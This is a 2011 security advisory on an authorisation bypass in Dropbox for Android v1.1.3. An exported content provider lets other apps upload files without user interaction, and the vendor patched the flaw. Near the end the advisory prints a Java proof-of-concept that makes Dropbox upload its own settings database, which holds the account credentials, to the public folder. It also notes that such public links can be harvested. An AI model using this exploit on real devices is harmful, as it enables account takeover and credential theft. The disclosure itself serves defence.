
Dropbox for Android

MWR InfoSecurity Advisory

12/08/2011

Package Name	Dropbox for Android
Date	6 th July 2011
Affected Versions	Dropbox (Android) v1.1.3 and lower
CVE Reference	None
Author	Tyrone Erasmus
Severity	High Risk
Local/Remote	Local
Vulnerability Class	Authorisation Bypass
Vendor	Dropbox Inc.
Vendor Response	The vendor has patched the vulnerability in version 1.1.4

Description

The content provider defined below is implicitly exported in the AndroidManifest.xml file. This file governs which features of the Dropbox application are accessible to other applications on the same device.

```
E: provider (line=32)
  A: android:name(0x01010003)="com.dropbox.provider.DropboxProvider" (Raw:
".provider.DropboxProvider")
  A: android:authorities(0x01010018)="com.dropbox.android.Dropbox" (Raw:
"com.dropbox.android.Dropbox")
E: grant-uri-permission (line=35)
  A: android:pathPrefix(0x0101002b)="/" (Raw: "/")
```

Impact

This vulnerability allows an attacker to upload a selected file to the linked Dropbox account without the interaction of the user. This could enable an attacker's malicious application to gain control of a user's Dropbox account by uploading the Dropbox settings database, which resides in the Dropbox application's protected storage area.

Cause

This vulnerability is present because of insufficient security permissions set in the AndroidManifest.xml of the Dropbox application. The content provider which is used by the application to control the flow of files to and from the linked Dropbox account is implicitly exported and available for use by other applications.

Interim Workaround

Uninstall the application or update to the latest version of the Dropbox application from the Android Market.

Solution

Dropbox was contacted in order to fix this issue and an update was made available to all Android users on the Market. The AndroidManifest.xml was changed so that the vulnerable content provider was not exported.

Technical Description

Android applications can communicate with each other through the exporting of program features, also known as IPC endpoints. This is defined in the AndroidManifest.xml file which is part of all installable application packages. Any feature of an Android application can be exported, meaning that other applications can access these features and interact with the application across the sandbox. In some cases this can pose a security risk to the application exporting its features.

The issue with the Dropbox application is that the exported content provider can be leveraged by a malicious application to upload a file from the device to the linked Dropbox account without interaction from the user. It is also possible to upload the Dropbox settings and content databases using this same technique.

The settings database includes the email address, access secret and access key that could be used to access the user's Dropbox account. These files are stored in the application's data storage area which should not be accessible to any other application on the device. However, because Dropbox is being leveraged to upload these files, that restriction is bypassed. These sensitive files can be placed in the user's Public directory, which allows them to be downloaded by anyone over the internet that has a link to these individual files. It could also be possible for an attacker to iterate through Dropbox accounts looking for these sensitive files which have been compromised.

The Dropbox public links follow the same pattern which could be used by an attacker to collect compromised settings databases. The following URL scheme is used to access public files:
http://dl.dropbox.com/u/user_id/Public/public_file.

The following is a basic exploit that inserts an entry into the Dropbox database from another installed application on the device. This entry states prefs.db as its local file. Dropbox sees this data as locally modified and in need of synchronisation and uploads this file to the linked Dropbox account. It is also possible to upload any files from the user's SD card, as the Dropbox application has permissions to do so. It should be noted that a malicious application does not require any installation permissions in order to perform this attack.

```
Uri dropbox uri = Uri.parse("content://com.dropbox.android.Dropbox/metadata/");
ContentValues values = new ContentValues();

//This links the preferences database path to be uploaded
values.put(" data" , "/data/data/com.dropbox.android/databases/prefs.db");

//Essential to initiate upload process
values.put("local modified" , 1);

//An invalid display name uses a logic flaw that stops the app from deleting the entry
values.put(" display name" , "");

values.put("is favorite" , 1);
values.put("revision" , 0);
values.put("icon" , "page_white_text");
values.put("is_dir" , 0);
values.put("path" , "/Public/prefs.db");
values.put("canon path" , "/public/prefs.db");
values.put("root" , "dropbox");
values.put("mime_type" , "text/xml");
values.put("thumb_exists" , 0);
values.put("parent_path" , "/Public/");
values.put("canon parent path" , "/public/");

this.getContentResolver().update(dropbox_uri, values, null, null);
```